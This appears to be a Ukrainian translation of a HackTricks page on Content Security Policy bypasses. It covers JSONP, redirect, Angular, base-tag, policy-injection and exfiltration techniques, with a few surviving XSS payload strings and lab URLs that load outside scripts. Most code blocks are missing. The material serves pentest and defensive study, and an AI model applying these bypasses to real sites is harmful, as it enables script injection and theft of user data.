Content Security Policy (CSP) Bypass
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Content Security Policy (CSP) вважається технологією браузера, яка в першу чергу спрямована на захист від атак, таких як міжсайтовий скриптинг (XSS). Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як eval
, setTimeout
або setInterval
.
Впровадження CSP здійснюється через заголовки відповіді або шляхом включення мета-елементів у HTML-сторінку. Дотримуючись цієї політики, браузери активно забезпечують виконання цих вимог і негайно блокують будь-які виявлені порушення.
Implemented via response header:
Реалізовано через мета-тег:
CSP може бути застосований або моніторений за допомогою цих заголовків:
Content-Security-Policy
: Застосовує CSP; браузер блокує будь-які порушення.
Content-Security-Policy-Report-Only
: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
CSP обмежує джерела для завантаження як активного, так і пасивного контенту, контролюючи аспекти, такі як виконання вбудованого JavaScript та використання eval()
. Приклад політики:
script-src: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT-стилями.
default-src: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
child-src: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
connect-src: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
frame-src: Обмежує URL для фреймів.
frame-ancestors: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як <frame>
, <iframe>
, <object>
, <embed>
, і <applet>
.
img-src: Визначає дозволені джерела для зображень.
font-src: Вказує дійсні джерела для шрифтів, завантажених за допомогою @font-face
.
manifest-src: Визначає дозволені джерела файлів маніфесту додатка.
media-src: Визначає дозволені джерела для завантаження медіа-об'єктів.
object-src: Визначає дозволені джерела для елементів <object>
, <embed>
, і <applet>
.
base-uri: Вказує дозволені URL для завантаження за допомогою елементів <base>
.
form-action: Перераховує дійсні кінцеві точки для відправки форм.
plugin-types: Обмежує mime-типи, які може викликати сторінка.
upgrade-insecure-requests: Інструктує браузери переписувати HTTP URL на HTTPS.
sandbox: Застосовує обмеження, подібні до атрибута sandbox елемента <iframe>
.
report-to: Вказує групу, до якої буде надіслано звіт, якщо політика буде порушена.
worker-src: Вказує дійсні джерела для скриптів Worker, SharedWorker або ServiceWorker.
prefetch-src: Вказує дійсні джерела для ресурсів, які будуть отримані або попередньо отримані.
navigate-to: Обмежує URL, до яких документ може переходити будь-якими засобами (a, форма, window.location, window.open тощо).
*
: Дозволяє всі URL, крім тих, що мають схеми data:
, blob:
, filesystem:
.
'self'
: Дозволяє завантаження з того ж домену.
'data'
: Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані в Base64).
'none'
: Блокує завантаження з будь-якого джерела.
'unsafe-eval'
: Дозволяє використання eval()
та подібних методів, не рекомендується з міркувань безпеки.
'unsafe-hashes'
: Дозволяє конкретні вбудовані обробники подій.
'unsafe-inline'
: Дозволяє використання вбудованих ресурсів, таких як вбудовані <script>
або <style>
, не рекомендується з міркувань безпеки.
'nonce'
: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою doc.defaultView.top.document.querySelector("[nonce]")
і потім повторно використовувати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
'sha256-<hash>'
: Дозволяє скрипти з конкретним sha256 хешем.
'strict-dynamic'
: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було дозволено за допомогою nonce або хешу.
'host'
: Вказує конкретний хост, наприклад, example.com
.
https:
: Обмежує URL-адреси тими, що використовують HTTPS.
blob:
: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript).
filesystem:
: Дозволяє завантаження ресурсів з файлової системи.
'report-sample'
: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
'strict-origin'
: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
'strict-origin-when-cross-origin'
: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є крос-доменним.
'unsafe-allow-redirects'
: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
Working payload: "/><script>alert(1);</script>
Це не працює, для отримання додаткової інформації перевірте це.
Працююча корисна навантаження:
Якщо ви зможете якимось чином змусити дозволений JS код створити новий тег скрипта в DOM з вашим JS кодом, оскільки його створює дозволений скрипт, новий тег скрипта буде дозволено виконати.
Працююча корисна навантаження:
Схоже, що це більше не працює
Працюючі корисні навантаження:
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
Робочий вантаж:
Однак, ймовірно, що сервер перевіряє завантажений файл і дозволить вам завантажити лише певні типи файлів.
Більше того, навіть якщо ви зможете завантажити JS код всередині файлу з розширенням, прийнятим сервером (наприклад: script.png), цього буде недостатньо, оскільки деякі сервери, такі як apache server, вибирають MIME тип файлу на основі розширення, а браузери, такі як Chrome, відмовляться виконувати Javascript код всередині чогось, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що Apache не знає про розширення .wave, тому не обслуговує його з MIME типом, як audio/*.
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти неправильно інтерпретоване розширення, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот (деякі приклади поліглотів тут).
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, впроваджуючи дію форми (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти приклад у цьому звіті. Також зверніть увагу, що default-src
не охоплює дії форм.
Для деяких з наступних payload unsafe-eval
навіть не потрібно.
Завантажте вразливу версію angular та виконайте довільний JS:
window
object (check out this post):У пості показано, що ви можете завантажити всі бібліотеки з cdn.cloudflare.com
(або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити які функції з яких бібліотек повертають об'єкт window
.
Angular XSS з імені класу:
Згідно з цією CTF статтею, ви можете зловживати https://www.google.com/recaptcha/ всередині CSP для виконання довільного JS коду, обходячи CSP:
Більше пейлоадів з цього опису:
Наступний URL перенаправляє на example.com (з тут):
Зловживання *.google.com/script.google.com
Можливо зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це зроблено в цьому звіті.
Сценарії, подібні до цього, де script-src
встановлено на self
та певний домен, який є у білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконати XSS, робочий корисний вантаж:
JSONBee містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.
Та сама вразливість виникне, якщо достовірна кінцева точка містить відкритий редирект, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
Як описано в наступному пості, існує багато доменів третіх осіб, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх осіб:
Суб'єкт | Дозволений домен | Можливості |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і, або ексфільтрувати дані на цей сервіс, або виконати код.
Наприклад, якщо ви знайдете наступний CSP:
або
Ви повинні мати можливість ексфільтрувати дані, так само як це завжди робилося з Google Analytics/Google Tag Manager. У цьому випадку ви дотримуєтеся цих загальних кроків:
Створіть обліковий запис розробника Facebook тут.
Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт".
Перейдіть до "Налаштування -> Основні" і отримайте свій "App ID".
На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних.
Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника Facebook атакуючого та видаючи користувацьку подію, як ця:
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього блог посту для додаткових пояснень про інші зловживання сторонніми ресурсами.
На додаток до згадуваного перенаправлення для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
Наприклад, якщо CSP дозволяє шлях https://example.com/scripts/react/
, його можна обійти наступним чином:
Браузер в кінцевому підсумку завантажить https://example.com/scripts/angular/angular.js
.
Це працює, тому що для браузера ви завантажуєте файл з назвою ..%2fangular%2fangular.js
, розташований за адресою https://example.com/scripts/react/
, що відповідає CSP.
∑, вони декодують його, фактично запитуючи https://example.com/scripts/react/../angular/angular.js
, що еквівалентно https://example.com/scripts/angular/angular.js
.
Шляхом експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені.
Рішення полягає в тому, щоб не розглядати %2f
як /
на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Онлайн приклад: https://jsbin.com/werevijewa/edit?html,output
Якщо директива base-uri відсутня, ви можете зловживати цим, щоб виконати dangling markup injection.
Більше того, якщо сторінка завантажує скрипт за допомогою відносного шляху (як <script src="/js/app.js">
), використовуючи Nonce, ви можете зловживати base tag, щоб змусити її завантажити скрипт з вашого власного сервера, досягаючи XSS.
Якщо вразлива сторінка завантажується з httpS, використовуйте httpS URL в base.
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт $event
, що посилається на об'єкт події браузера. Цей об'єкт $event
може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт $event/event
має атрибут path
, що містить масив об'єктів, залучених до ланцюга виконання події, причому об'єкт window
завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
Спрямовуючи цей масив до фільтра orderBy
, можна ітерувати його, використовуючи термінальний елемент (об'єкт window
), щоб викликати глобальну функцію, таку як alert()
. Наведений нижче фрагмент коду ілюструє цей процес:
Цей фрагмент підкреслює використання директиви ng-focus
для виклику події, використовуючи $event.path|orderBy
для маніпуляції масивом path
, і використовуючи об'єкт window
для виконання функції alert()
, таким чином розкриваючи document.cookie
.
Знайдіть інші обходи Angular на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Політика CSP, яка дозволяє завантаження скриптів з певних доменів в Angular JS додатку, може бути обійдена через виклик функцій зворотного виклику та певних вразливих класів. Додаткову інформацію про цю техніку можна знайти в детальному посібнику, доступному в цьому git репозиторії.
Працюючі пейлоади:
Інші кінцеві точки для довільного виконання JSONP можна знайти тут (деякі з них були видалені або виправлені)
Що відбувається, коли CSP стикається з редиректом на стороні сервера? Якщо редирект веде до іншого походження, яке не дозволено, він все ще зазнає невдачі.
Однак, відповідно до опису в CSP spec 4.2.2.3. Шляхи та редиректи, якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
Ось приклад:
Якщо CSP встановлено на https://www.google.com/a/b/c/d
, оскільки враховується шлях, скрипти /test
та /a/test
будуть заблоковані CSP.
Однак, фінальний http://localhost:5555/301
буде перенаправлений на стороні сервера на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Оскільки це перенаправлення, шлях не враховується, і скрипт може бути завантажений, таким чином обходячи обмеження шляху.
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можуть бути використані в правилах CSP.
Читати як тут.
'unsafe-inline'
означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а img-src *
означає, що ви можете використовувати на веб-сторінці будь-яке зображення з будь-якого ресурсу.
Ви можете обійти цей CSP, ексфільтруючи дані через зображення (в даному випадку XSS зловживає CSRF, де сторінка, доступна ботом, містить SQLi, і витягує прапор через зображення):
Від: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Ви також можете зловживати цією конфігурацією, щоб завантажити javascript код, вставлений всередині зображення. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б створити спеціальне зображення, завантажити його на Twitter і зловживати "unsafe-inline", щоб виконати JS код (як звичайний XSS), який завантажить зображення, витягне JS з нього і виконає його: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Функція importScripts
сервісних працівників не обмежена CSP:
Дослідження: https://portswigger.net/research/bypassing-csp-with-policy-injection
Якщо параметр, надісланий вами, вставляється всередині оголошення політики, тоді ви могли б змінити політику таким чином, що вона стане недійсною. Ви могли б дозволити скрипт 'unsafe-inline' з будь-яким з цих обходів:
Оскільки ця директива перезаписує існуючі директиви script-src. Ви можете знайти приклад тут: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
У Edge це набагато простіше. Якщо ви можете додати в CSP лише це: ;_
Edge відкине всю політику.
Приклад: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
Зверніть увагу на відсутність директиви 'unsafe-inline'
Цього разу ви можете змусити жертву завантажити сторінку під вашим контролем через XSS з <iframe
. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (CSRF). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете контролювати час, необхідний для завантаження сторінки, ви зможете витягти потрібну інформацію.
Цього разу буде витягнуто прапор, коли символ буде правильно вгадано через SQLi, відповідь займає більше часу через функцію сну. Тоді ви зможете витягти прапор:
Ця атака передбачає певну соціальну інженерію, де атакуючий переконує користувача перетягнути та скинути посилання на закладку браузера. Ця закладка міститиме шкідливий javascript код, який при перетягуванні або натисканні буде виконуватись у контексті поточного веб-вікна, обминаючи CSP і дозволяючи вкрасти чутливу інформацію таку як куки або токени.
Для отримання додаткової інформації перевірте оригінальний звіт тут.
У цьому CTF звіті CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через потенційне забруднення прототипу або DOM клоберинг дозволяє зловживати іншим скриптом для завантаження довільного скрипту.
Ви можете обмежити CSP iframe за допомогою атрибута csp
:
У цьому CTF звіті було можливим через впровадження HTML обмежити більше CSP, тому скрипт, що запобігає CSTI, був вимкнений, і, отже, вразливість стала експлуатованою. CSP можна зробити більш обмежувальним, використовуючи HTML мета-теги, а вбудовані скрипти можна вимкнути видаленням входу, що дозволяє їх nonce та включити конкретний вбудований скрипт через sha:
Якщо вам вдасться змусити сервер відповісти заголовком Content-Security-Policy-Report-Only
з значенням, контрольованим вами (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви обернете JS контент, який хочете ексфільтрувати, в <script>
, і оскільки, ймовірно, unsafe-inline
не дозволено CSP, це викличе помилку CSP, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з Content-Security-Policy-Report-Only
.
Для прикладу перевірте цей CTF звіт.
Створюється iframe
, який вказує на URL (назвемо його https://example.redirect.com
), що дозволений CSP.
Цей URL потім перенаправляє на секретний URL (наприклад, https://usersecret.example2.com
), який не дозволений CSP.
Слухаючи подію securitypolicyviolation
, можна захопити властивість blockedURI
. Ця властивість розкриває домен заблокованого URI, витікаючи секретний домен, на який перенаправив початковий URL.
Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку.
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод спирається на алгоритм бінарного пошуку та коригування CSP, щоб включити конкретні домени, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Трюк з тут.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини про хакінг в реальному часі Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
Останні оголошення Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Згідно з останням методом, прокоментованим у цьому відео, надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений header()
у PHP веб-коді не буде надіслано через помилку, яку це викличе.
PHP відомий тим, що буферизує відповідь до 4096 байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи достатньо даних у попередженнях, відповідь буде надіслана до CSP заголовка, що призведе до ігнорування заголовка. Отже, техніка в основному полягає в заповненні буфера відповіді попередженнями, щоб CSP заголовок не був надісланий.
Ідея з цього опису.
З цього опису виглядає так, що було можливим обійти захист CSP, завантаживши сторінку помилки (можливо, без CSP) і переписавши її вміст.
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) в кінцевій точці сторінки для зловживання іншими кінцевими точками того ж походження. Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника на реальну кінцеву точку в тому ж походженні, яку ви хочете зловживати. Таким чином, вразлива кінцева точка може використовувати об'єкт opener
у payload для доступу до DOM реальної кінцевої точки для зловживання. Для отримання додаткової інформації дивіться:
Більше того, wordpress має JSONP кінцеву точку в /wp-json/wp/v2/users/1?_jsonp=data
, яка відображає дані, надіслані в вихід (з обмеженням лише на літери, цифри та крапки).
Зловмисник може зловживати цією кінцевою точкою, щоб згенерувати атаку SOME проти WordPress і вбудувати її всередину <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
, зверніть увагу, що цей скрипт буде завантажено, оскільки він дозволений 'self'. Більше того, і оскільки WordPress встановлено, зловмисник може зловживати атакою SOME через вразливу кінцеву точку зворотного виклику, яка обходить CSP, щоб надати більше привілеїв користувачу, встановити новий плагін...
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Якщо існує суворий CSP, який не дозволяє вам взаємодіяти з зовнішніми серверами, є кілька речей, які ви завжди можете зробити, щоб ексфільтрувати інформацію.
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер зловмисника секретну інформацію:
Ви можете перенаправити, вставивши мета-тег (це лише перенаправлення, це не призведе до витоку контенту)
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: <link rel="dns-prefetch" href="something.com">
Ви можете зловживати цією поведінкою, щоб екстрагувати чутливу інформацію через DNS-запити:
Інший спосіб:
Щоб уникнути цього, сервер може надіслати заголовок HTTP:
Очевидно, ця техніка не працює в безголових браузерах (ботах)
На кількох сторінках ви можете прочитати, що WebRTC не перевіряє політику connect-src
CSP.
Насправді ви можете leak інформацію, використовуючи DNS запит. Ознайомтеся з цим кодом:
Інший варіант:
https://csper.io/docs/generating-content-security-policy
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
Новини з хакінгу в реальному часі Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
Останні оголошення Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
```html ```
Вчіться та практикуйте хакінг AWS:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте хакінг GCP: HackTricks Training GCP Red Team Expert (GRTE)